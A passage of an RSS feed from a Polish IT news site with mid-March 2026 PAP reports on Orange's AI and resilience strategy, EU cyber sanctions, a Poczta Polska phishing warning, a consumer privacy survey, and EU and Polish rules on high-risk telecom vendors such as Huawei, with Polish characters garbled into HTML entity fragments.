"Pracujemy teand#380; z zewnand#281;trznymi partnerami, ktand#243;rzy posiadajand#261; narzand#281;dzia do przeciwdziaand#322;ania rand#243;and#380;nego rodzaju zagroand#380;eniom" - dodaand#322;a.
Grupa Orange w nowej strategii skupia siand#281; rand#243;wnieand#380; na tradycyjnej obronnoand#347;ci i odpornoand#347;ci, wskazujand#261;c, and#380;e bezpieczna and#322;and#261;cznoand#347;and#263; band#281;dzie jednym z najwaand#380;niejszych zagadnieand#324; obronnych dla Starego Kontynentu.

"Wszyscy, jeand#380;eli myand#347;limy na powaand#380;nie o zbudowaniu europejskiej odpornoand#347;ci, potrzebujemy bezpiecznej i stabilnej and#322;and#261;cznoand#347;ci. Dlatego nasze dziaand#322;ania i rozwiand#261;zania w tej kwestii muszand#261; byand#263; wielowymiarowe i znajdand#261; swoje odzwierciedlenie takand#380;e w sektorze dronowym i odpornoand#347;ci sieci prywatnych" - wskazaand#322;a CEO Orange Europe.

Dodaand#322;a, and#380;e architektura tych rozwiand#261;zaand#324; jest tworzona w taki sposand#243;b, aby spand#243;and#322;ka miaand#322;a moand#380;liwoand#347;and#263; dopuszczenia do nich narzand#281;dzi i innowacji innych firm, ale z moand#380;liwoand#347;ciand#261; ich wyboru lub zmiany, wskazujand#261;c, and#380;e to kwestia suwerennoand#347;ci technologicznej.

"Orange Polska uczestniczy rand#243;wnieand#380; w rozmowach caand#322;ej grupy na temat moand#380;liwoand#347;ci wspand#243;and#322;pracy z branand#380;and#261; satelitarnand#261;and#8221; - powiedziaand#322;a.

W przypadku czand#281;and#347;ci nowej strategii Grupy Orange "Trust the future" poand#347;wiand#281;conej sztucznej inteligencji, grupa przewiduje, and#380;e do 2028 roku osiand#261;gnie 600 mln euro wartoand#347;ci powiand#261;zanej z AI.


"Juand#380; nikogo nie trzeba przekonywaand#263;, and#380;e sztuczna inteligencja i modele LLM-owe to nie ewolucja, tylko rewolucja, rand#243;wnieand#380; w kwestii zarzand#261;dzania organizacjand#261;. A teraz juand#380; wchodzimy w erand#281; agentic AI. Dlatego stworzyliand#347;my jeden wielonarodowy zespand#243;and#322;, ktand#243;ry pracuje nad tymi zagadnieniami" - powiedziaand#322;a.


"Aktualnie, jeand#347;li chodzi o Europand#281;, to Orange Polska wpand#322;ywa na ok. 50 proc. wartoand#347;ci naszych rozwiand#261;zaand#324; zwiand#261;zanych z AI, co w ogand#243;lnym rozrachunku przekand#322;ada siand#281; rand#243;wnieand#380; na oszczand#281;dnoand#347;ci zwiand#261;zane z automatyzacjand#261; wielu procesand#243;w - od asystenta klienta, po sprzedaand#380;. Ale to nie tylko oszczand#281;dnoand#347;ci, ale takand#380;e moand#380;liwoand#347;ci rozwoju biznesu" - wskazaand#322;a.
Mari-Noand#235;lle Jand#233;go-Laveissiere jako przykand#322;ad podaand#322;a system CVM (Customer Value Management), ktand#243;ry tworzy setki milionand#243;w personalizowanych ofert rocznie.
"To narzand#281;dzie zostaand#322;o stworzone w Polsce i jest wykorzystywane w wielu krajach caand#322;ej Grupy. Dziand#347; to juand#380; nie jest projekt tylko nowy standard pracy i myand#347;lenia o sprzedaand#380;y" - wskazaand#322;a.
Ponadto dodaand#322;a, and#380;e Grupa Orange pracuje nad dalszand#261; komercjalizacjand#261; swojego narzand#281;dzia Live Intelligence, takand#380;e dla klientand#243;w indywidualnych, ktand#243;re wspiera i umoand#380;liwia bezpieczne korzystanie z rozwiand#261;zaand#324; AI.

"Kolejnym waand#380;nym elementem, ktand#243;ry band#281;dzie wspieraand#322; rozwand#243;j samej sztucznej inteligencji, jak i sektora AI sand#261; gigafabryki, ktand#243;re majand#261; szansand#281; zapewniand#263; Europie suwerennoand#347;and#263; technologicznand#261;. Uwaand#380;amy, and#380;e ich wspand#243;lne tworzenie to dobry pomysand#322;" - wskazaand#322;a zapytana o potencjalny wpand#322;yw gigafabryk na moand#380;liwoand#347;ci europejskiej gospodarki cyfrowej.

Ponadto zapytana o moand#380;liwand#261; konsolidacjand#281; na europejskim rynku telekomunikacyjnym wskazaand#322;a, and#380;e powinno do niej dojand#347;and#263;.
"W Europie mamy bardzo duand#380;o operatorand#243;w, a potrzebujemy silnych graczy, takich ktand#243;rych band#281;dzie staand#263; na inwestowanie w innowacje, cyberbezpieczeand#324;stwo i kluczowe usand#322;ugi dla biznesu oraz paand#324;stw. Dlatego powinniand#347;my konsolidowaand#263; sektor telekomunikacyjny na Starym Kontynencie" - powiedziaand#322;a.
and#378;rodand#322;o PAP 17 marzec 2026 Maciej Biaand#322;obrzeski (PAP Biznes) ]]></description>
		</item><item>
			<title><![CDATA[ UE nałożyła sankcje na chińskie i irańskie firmy za cyberataki ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1639</link>
			<description><![CDATA[ Ministrowie spraw zagranicznych paand#324;stw Unii Europejskiej naand#322;oand#380;yli w poniedziaand#322;ek sankcje na dwie chiand#324;skie firmy i jednand#261; iraand#324;skand#261; za cyberataki na paand#324;stwa czand#322;onkowskie UE.



and#160;


fot. Andy.LIU /and#160;/and#160;Shutterstock


Unia umieand#347;ciand#322;a na liand#347;cie chiand#324;skie Integrity Technology Group i Anxun Information Technology oraz iraand#324;skand#261; firmand#281; Emennet Pasargad.
Pierwsza z dwand#243;ch chiand#324;skich firm regularnie dostarczaand#322;a produkty sand#322;uand#380;and#261;ce do wand#322;amywania siand#281; do urzand#261;dzeand#324; informatycznych i uzyskiwania do nich dostand#281;pu w paand#324;stwach czand#322;onkowskich UE i na caand#322;ym and#347;wiecie. W latach 2022-2023 dziand#281;ki wsparciu technicznemu i materialnemu w szeand#347;ciu paand#324;stwach czand#322;onkowskich zhakowano ponad 65 000 urzand#261;dzeand#324;.







and#160;







Podobnie chiand#324;ska firmaand#160;Anxun Information Technologyand#160;and#347;wiadczyand#322;a usand#322;ugi hakerskie ukierunkowane na infrastrukturand#281; krytycznand#261; i funkcje krytyczne paand#324;stw czand#322;onkowskich i paand#324;stw trzecich.
and#160;
Iraand#324;ska firmaand#160;Emennet Pasargadand#160;bezprawnie uzyskaand#322;a dostand#281;p do francuskiej bazy danych abonentand#243;w i wystawiand#322;a jej zawartoand#347;and#263; na sprzedaand#380; w dark webie. Zhakowaand#322;a rand#243;wnieand#380; cyfrowe billboardy reklamowe, aby szerzyand#263; dezinformacjand#281; podczas igrzysk olimpijskich w Paryand#380;u w 2024 roku.
Firmy podlegajand#261; zamroand#380;eniu aktywand#243;w, a obywatele i firmy UE majand#261; zakaz udostand#281;pniania im funduszy lub zasoband#243;w gospodarczych.
System sankcji UE za cyberataki obejmuje obecnie 19 osand#243;b i siedem podmiotand#243;w.
and#160;
and#160;
and#378;rodand#322;o PAP 16 marzec 2026 z Brukseli and#321;ukasz Osiand#324;ski (PAP)
luo/ kar/ ]]></description>
		</item><item>
			<title><![CDATA[ Poczta Polska ostrzega. Cyberprzestępcy podszywają się pod oficjalną korespondencję ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1638</link>
			<description><![CDATA[ Cyberprzestand#281;pcy podszywajand#261; siand#281; pod oficjalnand#261; korespondencjand#281; dotyczand#261;cand#261; zakand#322;adania skrzynek do e-Dorand#281;czeand#324; - poinformowaand#322;a Poczta Polska. Dodaand#322;a, and#380;e w faand#322;szywe e-maile kierujand#261; do stron nakand#322;aniajand#261;cych do podania danych karty pand#322;atniczej lub pand#322;atnoand#347;ci przez PayPal.



and#160;


fot. SHOX art /and#160;/and#160;Pexels


and#8222;Pojawiand#322;a siand#281; nowa, groand#378;na kampania phishingowa, w ktand#243;rej cyberprzestand#281;pcy podszywajand#261; siand#281; pod oficjalnand#261; korespondencjand#281; dotyczand#261;cand#261; zakand#322;adania skrzynek do e-Dorand#281;czeand#324;. Atak zostaand#322; przygotowany w sposand#243;b szczegand#243;lnie niebezpieczny - w treand#347;ci faand#322;szywych wiadomoand#347;ci wykorzystano prawdziwy komunikat wysyand#322;any do klientand#243;w Poczty Polskiej po aktywacji skrzynki do e-Dorand#281;czeand#324;and#8221; - poinformowaand#322;a Poczta Polska.
and#160;
Jak wyjaand#347;niand#322;a w komunikacie, do uand#380;ytkownikand#243;w trafiajand#261; wiadomoand#347;ci e-mail pochodzand#261;ce z faand#322;szywych adresand#243;w e-mail zatytuand#322;owane m.in. and#8222;Ostatnie ostrzeand#380;enie. Rozpocznie siand#281; usuwanieand#8221; i and#8222;Abonament Cloud wygasand#322; - przywrand#243;and#263; dostand#281;p terazand#8221;. W treand#347;ci e-maili przestand#281;pcy umieszczajand#261; sfaand#322;szowane powiadomienia o rzekomo zapeand#322;nionej pamiand#281;ci w chmurze. Sugerujand#261; utratand#281; zdjand#281;and#263;, dokumentand#243;w i danych oraz zachand#281;cajand#261; uand#380;ytkownika do klikniand#281;cia w link kierujand#261;cy do witryny podszywajand#261;cej siand#281; pod dostawcand#243;w usand#322;ug w chmurze.
and#160;
Jak zaznaczyand#322;a spand#243;and#322;ka, strony te w rzeczywistoand#347;ci nakand#322;aniajand#261; do podania danych karty pand#322;atniczej lub pand#322;atnoand#347;ci przez PayPal.
Dodaand#322;a, and#380;e w niektand#243;rych wariantach oszustwa cyberprzestand#281;pcy informujand#261; odbiorcand#281;, and#380;e jako and#8222;czand#322;onek programu lojalnoand#347;ciowegoand#8221; moand#380;e otrzymaand#263; nielimitowanand#261; przestrzeand#324; w chmurze za jednorazowand#261; opand#322;atand#261; w wysokoand#347;ci 7 zand#322;. Zdaniem firmy, ma to dodatkowo uwiarygodniand#263; przekaz. and#8222;Obecnie nie jest jasne, czy celem kampanii jest faktyczne pobranie opand#322;aty za nieistniejand#261;cand#261; usand#322;ugand#281;, czy przede wszystkim przejand#281;cie danych kart pand#322;atniczychand#8221; - wyjaand#347;niono w komunikacie. Podkreand#347;lono, and#380;e to nie jest korespondencja Poczty Polskiej.





Spand#243;and#322;ka zaznaczyand#322;a teand#380;, and#380;e w e-mailach cyberprzestand#281;pcy wykorzystali autentyczny komunikat Poczty kierowany do osand#243;b aktywujand#261;cych skrzynkand#281; do e-Dorand#281;czeand#324;, aby uwiarygodniand#263; faand#322;szywand#261; korespondencjand#281;. Wiadomoand#347;ci wysyand#322;ane sand#261; and#8222;masowo do przypadkowych odbiorcand#243;wand#8221;, a we wszystkich przypadkach zgand#322;oszonych spand#243;and#322;ce oszuand#347;ci and#8222;posand#322;uand#380;yli siand#281; tym samym adresem do dorand#281;czeand#324; elektronicznych (ADE), co jest charakterystycznym elementem kampanii phishingowej majand#261;cym zwiand#281;kszyand#263; jej skutecznoand#347;and#263;and#8221; - dodaand#322;a.
Jak przypomniano w komunikacie, Poczta Polska nie wysyand#322;a and#380;adnych komunikatand#243;w dotyczand#261;cych zapeand#322;nienia przestrzeni na dysku, usand#322;ug przechowywania danych w chmurze, kopii zapasowych lub pand#322;atnych pakietand#243;w zwiand#281;kszajand#261;cych miejsce na dane. Zaznaczono, and#380;e jedynym adresem, z ktand#243;rego wysyand#322;any jest oficjalny komunikat o zaand#322;oand#380;eniu skrzynki do e-Dorand#281;czeand#324; i przekazaniu regulaminu jest and#8222;informacja@poczta-polska.pland#8221;, a wiadomoand#347;ci pochodzand#261;ce z innego adresu sand#261; prand#243;band#261; oszustwa.
Poczta zaapelowaand#322;a teand#380;, aby nie klikaand#263; w linki w podejrzanych wiadomoand#347;ciach, nie podawaand#263; danych karty, loginand#243;w i haseand#322;, zwracaand#263; uwagand#281; na adres nadawcy, band#322;and#281;dy jand#281;zykowe oraz nietypowe proand#347;by o pand#322;atnoand#347;and#263; w wiadomoand#347;ciach. Przypomniaand#322;a, and#380;e w razie wand#261;tpliwoand#347;ci moand#380;na skontaktowaand#263; siand#281; z Pocztand#261; poprzez oficjalne kanaand#322;y. Poprosiand#322;a teand#380;, aby podejrzane wiadomoand#347;ci zgand#322;aszaand#263; na adres and#8222;incydent@poczta-polska.pland#8221;.and#160;
and#160;
and#160;
and#378;rodand#322;o PAP 15 marzec 2026 bpk/ drag/ ]]></description>
		</item><item>
			<title><![CDATA[ Dane osobowe za rabat. Polacy masowo oddają swoją prywatność za zniżki ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1637</link>
			<description><![CDATA[ Blisko 8 na 10 badanych Polakand#243;w przynajmniej raz wymieniand#322;o dane osobowe na zniand#380;ki - wynika z badania przygotowanego na zlecenie Providenta. Jednoczeand#347;nie co trzeci ankietowany przyznaand#322;, and#380;e czasami poprawia sobie humor zakupami.



and#160;


fot. McLittle Stock /and#160;/and#160;Shutterstock


Z badania wynika, and#380;e choand#263; 14,3 proc. badanych deklaruje, and#380;e nigdy nie podaje swoich danych osobowych w zamian za zniand#380;ki, to 78,6 proc. ankietowanych zrobiand#322;o to chociaand#380; raz w and#380;yciu. Blisko jedna trzecia (31,7 proc.) przyznaand#322;a, and#380;e zdarza siand#281; to czasami, co dziesiand#261;ty natomiast, and#380;e czand#281;sto.



and#160;



Wand#347;rand#243;d osand#243;b 18-24 lata 91,2 proc. przynajmniej raz skorzystaand#322;o z takiej formy rabatu, z czego 23,4 proc. robi to czand#281;sto lub bardzo czand#281;sto. W grupie seniorand#243;w w wieku 65 lat i wiand#281;cej, 27,8 proc. nigdy nie udostand#281;pniand#322;o danych w zamian za promocjand#281;. Najwyand#380;szand#261; skand#322;onnoand#347;and#263; do czand#281;stego podawania danych odnotowano w grupie o najniand#380;szych dochodach (do 3 tys. zand#322;) and#8211; 22,6 proc. ankietowanych z tej grupy wskazaand#322;o na odpowiedand#378; and#8222;czand#281;stoand#8221; lub and#8222;bardzo czand#281;stoand#8221;.
and#160;
Respondenci zostali teand#380; zapytani o to, jakie dziaand#322;ania podjand#281;li w ciand#261;gu ostatnich 12 miesiand#281;cy, by zaoszczand#281;dziand#263; pieniand#261;dze - 36,3 proc. ograniczyand#322;o impulsywne zakupy, 35,8 proc. kupiand#322;o rzeczy z drugiej rand#281;ki a 35,7 proc. zdecydowaand#322;o siand#281; naprawiand#263; sprzand#281;t zamiast kupowaand#263; nowy. Kobiety czand#281;and#347;ciej niand#380; mand#281;and#380;czyand#378;ni wskazywaand#322;y na kupno z drugiej rand#281;ki (42 proc. vs 29,1 proc.) oraz na korzystanie z aplikacji odsprzedaand#380;owych (33,3 proc. vs 20 proc.). Z kolei mand#281;and#380;czyand#378;ni czand#281;and#347;ciej naprawiajand#261; sprzand#281;t (45,1 proc. vs 27,2 proc.). Szeand#347;ciu na dziesiand#281;ciu (59,9 proc.) w wieku 18-24 lata wskazaand#322;o, and#380;e kupuje rzeczy uand#380;ywane, a 57,4 proc. korzysta z aplikacji sprzedaand#380;owych.
Ankietowani zapytani o to, jak w ciand#261;gu ostatnich dwand#243;ch lat zmieniand#322;o siand#281; ich podejand#347;cie do konsumpcji, wskazali przede wszystkim, and#380;e wiand#281;kszand#261; wagand#281; przywiand#261;zujand#261; do oszczand#281;dnoand#347;ci (38,5 proc.), a 35,4 proc. stawia bardziej na jakoand#347;and#263; niand#380; iloand#347;and#263;. Z kolei jedna czwarta wybiera lokalne polskie produkty.





Mimo and#380;e blisko jedna trzecia respondentand#243;w (21,9 proc.) deklaruje kupowanie wyand#322;and#261;cznie tego, czego potrzebuje, prawie co piand#261;ty (18,1 proc.) przyznaje, and#380;e czasami nabywa produkty lub usand#322;ugi, ktand#243;rych pand#243;and#378;niej nie wykorzystuje. Zgodnie z wynikami badania, zazwyczaj nietrafione zakupy dotyczand#261; odzieand#380;y i dodatkand#243;w (26,7 proc.), produktand#243;w z promocji (20,9 proc.) oraz produktand#243;w sezonowych (20,4 proc.). Kobiety czand#281;and#347;ciej wskazujand#261; na nieuand#380;ywanand#261; odzieand#380; (35,9 proc.) i kosmetyki (21,4 proc.), a mand#281;and#380;czyand#378;ni and#8211; elektronikand#281; i gadand#380;ety (21,5 proc.). Wand#347;rand#243;d najmand#322;odszych sand#261; to subskrypcje i usand#322;ugi cyfrowe (23,5 proc.).
and#8222;Poza impulsywnymi zakupami, ktand#243;re okazujand#261; siand#281; po czasie zupeand#322;nie niepotrzebne, polscy konsumenci przyznajand#261;, and#380;e zdarza im siand#281; kupiand#263; coand#347; w celu poprawy humoru po ciand#281;and#380;kim dniu. 31 proc. robi to czasami, a co dziesiand#261;ty czand#281;sto lub bardzo czand#281;sto. Z drugiej strony 17,8 proc. nigdy nie podejmuje takich dziaand#322;aand#324;. Zjawisko jest wyraand#378;nie czand#281;stsze wand#347;rand#243;d kobiet (33,3 proc. and#8222;czasamiand#8221;, 8,5 proc. and#8222;czand#281;stoand#8221;) niand#380; mand#281;and#380;czyzn, z ktand#243;rych 24,6 proc. nigdy nie poprawia sobie nastroju zakupami. Najbardziej podatni sand#261; najmand#322;odsi and#8211; ponad 60 proc. osand#243;b w wieku 18and#8211;24 lata robi to czand#281;sto lub czasamiand#8221; - podkreand#347;lono w publikacji.
Niemal poand#322;owa (48,9 proc.) Polakand#243;w nie posiada wyodrand#281;bnionej, and#8222;nienaruszalnejand#8221; kwoty na drobne przyjemnoand#347;ci. Wand#347;rand#243;d tych, ktand#243;rzy planujand#261; takie wydatki, najczand#281;and#347;ciej jest to 101and#8211;200 zand#322; miesiand#281;cznie (16,3 proc.) lub do 100 zand#322; (15,6 proc.).
Badanie zostaand#322;o zrealizowane przez Danae sp. z o.o. metodand#261; CAWI na prand#243;bie N=1001 dorosand#322;ych Polakand#243;w, w lutym 2026 r.and#160;
and#160;
and#160;
and#378;rodand#322;o PAP 14 marzec 2026and#160;fos/ drag/ ]]></description>
		</item><item>
			<title><![CDATA[ Zerwanie z chińskimi dostawcami na terenie UE. "To jest lepsze rozwiązanie" ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1636</link>
			<description><![CDATA[ Celem przepisand#243;w, nad ktand#243;rymi pracuje Komisja Europejska (KE) jest zerwanie z chiand#324;skimi dostawcami na terenie UE i jest to lepsze rozwiand#261;zanie, niand#380; gdyby takand#261; decyzjand#281; samodzielnie podjand#281;and#322;a kiedyand#347; Polska - oceniand#322; w rozmowie z PAP ekspert ds. cyberbezpieczeand#324;stwa Piotr Brogowski.



and#160;


fot. Novikov Aleksey /and#160;/and#160;Shutterstock


20 stycznia br. Komisja Europejska (KE) przedstawiand#322;a propozycjand#281; rewizji aktu o cyberbezpieczeand#324;stwie (Cybersecurity Act), ktand#243;ra zakand#322;ada, and#380;e paand#324;stwa czand#322;onkowskie band#281;dand#261; zobowiand#261;zane do rezygnacji z dostawcand#243;w sieci komand#243;rkowych z paand#324;stw trzecich, ktand#243;re zostanand#261; uznane przez KE za ryzykowne. W 2020 r. za dostawcand#281; ryzykownego Komisja uznaand#322;a chiand#324;skie przedsiand#281;biorstwo Huawei i zaleciand#322;a paand#324;stwom czand#322;onkowskim rezygnacje ze sprzand#281;tu tej firmy.






and#160;



and#160;



Natomiast 19 stycznia br. prezydent Karol Nawrocki podpisaand#322; nowelizacjand#281; ustawy o krajowym systemie cyberbezpieczeand#324;stwa (KSC) oraz skierowaand#322; jand#261; do Trybunaand#322;u Konstytucyjnego. Wdraand#380;a ona przepisy unijnej dyrektywy NIS2 ws. cyberbezpieczeand#324;stwa oraz Toolbox 5G, czyli unijny dokument dotyczand#261;cy bezpieczeand#324;stwa sieci 5G.
and#160;
Nowela pozwala m.in. eliminowaand#263; dostawcand#243;w wysokiego ryzyka (DWR). Takiego dostawcand#281; na mocy przepisand#243;w band#281;dzie mand#243;gand#322; wskazaand#263; minister cyfryzacji, po konsultacjach z prokuraturand#261;, stronand#261; spoand#322;ecznand#261; i kolegium ds. cyberbezpieczeand#324;stwa - na podstawie przesand#322;anek technicznych i nietechnicznych. Resort cyfryzacji zapewniaand#322;, and#380;e procedura nie jest skierowana przeciwko and#380;adnemu konkretnemu paand#324;stwu.
- Wydaje mi siand#281;, and#380;e celem Komisji jest zerwanie z chiand#324;skimi dostawcami na terenie UE. I myand#347;land#281;, and#380;e jest to lepsze rozwiand#261;zanie, niand#380; gdyby takand#261; decyzjand#281; samodzielnie podjand#281;and#322;a Polska and#8211; nie band#281;dzie nas moand#380;na posand#261;dziand#263; o uznaniowoand#347;and#263; - oceniand#322; dla PAP ekspert ds. cyberbezpieczeand#324;stwa Piotr Brogowski. Jego zdaniem Chiny doand#347;and#263; zdecydowanie chroniand#261; swoje firmy i jeand#380;eli taka decyzja zapadand#322;aby na poziomie europejskim, to reakcja Paand#324;stwa and#346;rodka moand#380;e nastand#261;piand#263; wobec caand#322;ej Unii Europejskiej.







- Oznacza to, and#380;e reakcja mogand#322;aby byand#263; dla naszej gospodarki mniej dotkliwa niand#380; jeand#380;eli nastand#261;piand#322;aby tylko w odniesieniu do Polski, m.in. dlatego, and#380;e ewentualne sankcje na caand#322;and#261; UE to wyand#380;szy koszt niand#380; wobec jednego kraju - tand#322;umaczyand#322; Brogowski. Podkreand#347;liand#322;, and#380;e zdaniem organizacji rolniczych juand#380; teraz Pekin negatywnie przyjmuje uchwalenie przepisand#243;w o KSC i w zwiand#261;zku z tym ogranicza import polskiego drobiu. Dzieje siand#281; to mimo zapewnieand#324; resortu cyfryzacji, and#380;e przepisy o DWR nie dotyczand#261; and#380;adnego konkretnego kraju - dodaand#322; ekspert.
Ograniczenie ryzyka w zakresie cyberbezpieczeand#324;stwa
W odpowiedzi na pytania PAP o cel rewizji aktu i jej ewentualny wpand#322;yw na Huawei, jeden z rzecznikand#243;w KE przekazaand#322;, and#380;e celem propozycji jest and#8222;ograniczenie ryzyk w unijnym and#322;aand#324;cuchu dostaw ICT pochodzand#261;cych od dostawcand#243;w z paand#324;stw trzecich budzand#261;cych zastrzeand#380;enia w zakresie cyberbezpieczeand#324;stwaand#8221;. and#377;rand#243;dand#322;o podkreand#347;liand#322;o, and#380;e propozycja jest oparta and#8222;na zharmonizowanym, proporcjonalnym i opartym na ryzyku podejand#347;ciuand#8221;. Dodano, and#380;e pakiet umoand#380;liwi UE i paand#324;stwom czand#322;onkowskim wspand#243;lne identyfikowanie i ograniczanie ryzyk we wszystkich 18 sektorach krytycznych, z uwzgland#281;dnieniem skutkand#243;w gospodarczych i podaand#380;y rynkowej.
Z kolei Ministerstwo Cyfryzacji (MC) przekazaand#322;o PAP, and#380;e uczestniczyand#322;o w pracach nad rewizjand#261; aktu o cyberbezpieczeand#324;stwie i przedstawiaand#322;o swoje stanowisko w tej sprawie. Ma teand#380; zamiar nadal pracowaand#263; na forum UE nad szczegand#243;and#322;owymi rozwiand#261;zaniami.
and#8222;Propozycja przekazana przez Komisjand#281; jest zgodna kierunkowo z propozycjami resortuand#8221; - podaand#322;o biuro prasowe MC.





Podkreand#347;liand#322;o, and#380;e nie moand#380;na traktowaand#263; systemu cyberbezpieczeand#324;stwa wycinkowo i wymaga on kompleksowego podejand#347;cia. and#8222;Zarand#243;wno paand#324;stwa czand#322;onkowskie jak i Unia Europejska muszand#261; mieand#263; narzand#281;dzia prawne, aby ograniczaand#263; ryzyko zwiand#261;zane z dostawcami wysokiego ryzyka and#8211; by dbaand#263; o wysoki poziom cyberbezpieczeand#324;stwa, bezpieczeand#324;stwo kaand#380;dego paand#324;stwa czand#322;onkowskiego i obywateliand#8221; - zaznaczyand#322; resort.
Pytany, czy nadal aktualne jest stanowisko MC z marca 2025 r., zgodnie z ktand#243;rym nie ma planand#243;w wprowadzenia zakazu ani ograniczenia sprzand#281;tu i oprogramowania Huawei, resort przekazaand#322;, and#380;e dziaand#322;ania KE z 2020 r. odnoszand#261;ce siand#281; do Huawei miaand#322;y formand#281; rekomendacji i jako takie nie implikowaand#322;y bezpoand#347;rednich skutkand#243;w. To odrand#243;and#380;nia je od and#8222;uznania za dostawcand#281; wysokiego ryzykaand#8221; w rozumieniu rewizji aktu o cyberbezpieczeand#324;stwa czy Toolboxa 5G - zaznaczyand#322; resort.
W odniesieniu do procedury DWR ujand#281;tej w nowelizacji ustawy o KSC Ministerstwo Cyfryzacji podkreand#347;liand#322;o, and#380;e postand#281;powanie w sprawie uznania za dostawcand#281; wysokiego ryzyka band#281;dzie uruchamiane w sytuacjach wyjand#261;tkowych and#8211; wtedy, gdy zajdand#261; co do tego przesand#322;anki ustawowe. and#8222;W szczegand#243;lnoand#347;ci chodzi o koniecznoand#347;and#263; zapewnienia bezpieczeand#324;stwa paand#324;stwa w obszarze bezpieczeand#324;stwa and#322;aand#324;cuchand#243;w dostawand#8221; - podkreand#347;liand#322; resort.
Zaznaczyand#322; teand#380;, and#380;e samo wszczand#281;cie postand#281;powania nie przesand#261;dza o jego wyniku. and#8222;To w ramach tego postand#281;powania band#281;dzie moand#380;liwe wszechstronne zbadanie, czy dany dostawca sprzand#281;tu lub oprogramowania zagraand#380;a podstawowemu interesowi bezpieczeand#324;stwa paand#324;stwa i podjand#281;cie adekwatnej decyzjiand#8221; - przekazaand#322;o MC. Zgodnie z przepisami od decyzji resortu dostawcy przysand#322;uguje odwoand#322;anie do sand#261;du. Natomiast sprzand#281;t dostawcy wysokiego ryzyka band#281;dzie musiaand#322; byand#263; wycofany z systemand#243;w podmiotand#243;w kluczowych i podmiotand#243;w waand#380;nych w ciand#261;gu od 4 do 7 lat.





Aleksandra Kolarczyk z Huawei Polska, pytana przez PAP o nowand#261; propozycjand#281; Komisji przekazaand#322;a, and#380;e akt cyberbezpieczeand#324;stwa jest projektem rozporzand#261;dzenia, ktand#243;ry musi przejand#347;and#263; caand#322;y proces legislacyjny Unii Europejskiej, zanim stanie siand#281; obowiand#261;zujand#261;cym prawem.
and#8222;Projekt ten moand#380;e mieand#263; wpand#322;yw and#8211; zgodnie z proponowanand#261; definicjand#261; and#187;paand#324;stw trzecichand#171; (ang. third countries) - na kaand#380;dego dostawcand#281; spoza UE i nie wskazuje on w obecnej formie and#380;adnego konkretnego paand#324;stwa ani podmiotu. Jak dotand#261;d nie ma teand#380; and#380;adnych przepisand#243;w ani decyzji, ktand#243;re identyfikowaand#322;yby Huawei jako dostawcand#281; wysokiego ryzykaand#8221; - podkreand#347;liand#322;a przedstawicielka firmy.
"Band#281;dziemy broniand#263; interesand#243;w Huawei"
Zdaniem Huawei projekt rozporzand#261;dzenia, ktand#243;ry miaand#322;by na celu ograniczenie lub wykluczenie dostawcand#243;w spoza Unii Europejskiej, w oparciu o kryterium paand#324;stwa pochodzenia, zamiast norm technicznych czy wiarygodnych dowodand#243;w - naruszaand#322;by podstawowe zasady sprawiedliwoand#347;ci, niedyskryminacji, proporcjonalnoand#347;ci a takand#380;e zobowiand#261;zania UE wynikajand#261;ce z czand#322;onkostwa w and#346;wiatowej Organizacji Handlu (WTO).
and#8222;Jako firma dziaand#322;ajand#261;ca zarand#243;wno w Polsce jak i w Europie zgodnie z obowiand#261;zujand#261;cym prawem, Huawei dostarcza nieprzerwanie, od ponad 20 lat bezpieczne i zaufane produkty oraz usand#322;ugi, dlatego band#281;dziemy chroniand#263; uzasadnionych interesand#243;w i praw spand#243;and#322;kiand#8221; - przekazaand#322;a Aleksandra Kolarczyk.




















and#8222;Wierzymy, and#380;e Polska jako praworzand#261;dny kraj band#281;dzie przestrzegaand#263; zasady niedyskryminacjiand#8221; - dodaand#322;a w odniesieniu do nowelizacji ustawy o KSC.
Zdaniem Piotra Brogowskiego nowelizacja KSC, w tym rand#243;wnieand#380; zapisy o dostawcy wysokiego ryzyka (DWR), jest and#8222;jak najbardziej potrzebna i zasadnaand#8221; z punktu widzenia cyberbezpieczeand#324;stwa i bezpieczeand#324;stwa narodowego.
and#8222;Przy procesowaniu ustawy posand#322;owie opozycji wskazywali, and#380;e kryteria wskazania DWR powinny byand#263; techniczne i obiektywne, a nie polityczne. Czyli wynikaand#263; np. z przeprowadzonych audytand#243;w, analizy incydentand#243;w, stwierdzenia podatnoand#347;ci (luki bezpieczeand#324;stwa and#8211; PAP) itd. Jednak wydaje mi siand#281;, and#380;e nie moand#380;na abstrahowaand#263; od tego, kto jest wand#322;aand#347;cicielem danej firmy, gdzie ona jest zarejestrowana i jakiemu prawu podlegaand#8221; - powiedziaand#322; ekspert.
Przypomniaand#322; w tym kontekand#347;cie przykand#322;ad rosyjskiej firmy Kaspersky Lab produkujand#261;cej m.in. oprogramowanie antywirusowe, ktand#243;ra w Stanach Zjednoczonych zostaand#322;a caand#322;kowicie zakazana. and#8222;Nie zdecydowaand#322;y o tym jakieand#347; obiektywne czynniki, ale wand#322;aand#347;nie pochodzenieand#8221; - oceniand#322; Brogowski.





Jego zdaniem trudno uciekaand#263; od tego, and#380;e firmy takie jak Huawei czy ZTE sand#261; firmami chiand#324;skimi, czyli dziaand#322;ajand#261; w paand#324;stwie autorytarnym, podlegajand#261; prawu tego paand#324;stwa i muszand#261; siand#281; do niego stosowaand#263;. and#8222;Teraz wyobraand#378;my sobie sytuacjand#281;, and#380;e Rosja atakuje kraje baand#322;tyckie. My zgodnie z artykuand#322;em piand#261;tym NATO je wspomagamy, a Chiny, ktand#243;re wspomagajand#261; Rosjand#281;, wyand#322;and#261;czajand#261; nam 60 proc. mobilnej and#322;and#261;cznoand#347;ci internetowej. To oczywiand#347;cie bardzo daleko idand#261;cy i bardzo hipotetyczny przykand#322;ad, ale w analizie ryzyka and#322;aand#324;cucha dostaw musimy braand#263; pod uwagand#281; wszelkie czynnikiand#8221; - stwierdziand#322; ekspert.
